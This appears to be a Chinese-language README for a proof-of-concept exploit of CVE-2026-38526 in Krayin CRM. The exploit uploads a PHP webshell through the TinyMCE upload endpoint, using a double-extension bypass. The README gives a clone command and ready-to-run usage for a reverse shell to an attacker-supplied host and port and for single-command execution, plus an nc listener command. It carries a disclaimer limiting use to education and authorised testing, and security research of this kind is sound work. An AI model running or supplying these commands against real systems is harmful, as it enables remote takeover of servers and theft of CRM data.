CVE-2026-38526 - Krayin CRM RCE 漏洞利用

Krayin CRM（≤ 2.2.x）- 不受限制的文件上传，导致远程代码执行。

此 PoC 利用存在漏洞的 TinyMCE 上传端点（/admin/tinymce/upload）上传 PHP WebShell，并在服务器上实现命令执行。

功能

• 通过 CSRF 令牌处理实现全自动登录
• 利用双扩展名绕过上传限制
• 支持反弹 Shell 和单条命令执行
• 可靠的 Laravel CSRF 令牌刷新
• 简洁易用

下载

git clone https://github.com/pawpic/CVE-2026-38526-POC

环境要求

pip3 install requests beautifulsoup4

用法

1. 反弹 Shell（默认且推荐）

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. 单条命令

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

选项

示例流程

启动监听：

nc -lvnp 4444

运行利用程序：

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

免责声明

此漏洞利用仅用于教育目的和经授权的渗透测试。对未获得明确测试许可的系统进行未授权使用属于违法行为。

受影响版本

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

作者：pawpic 日期：2026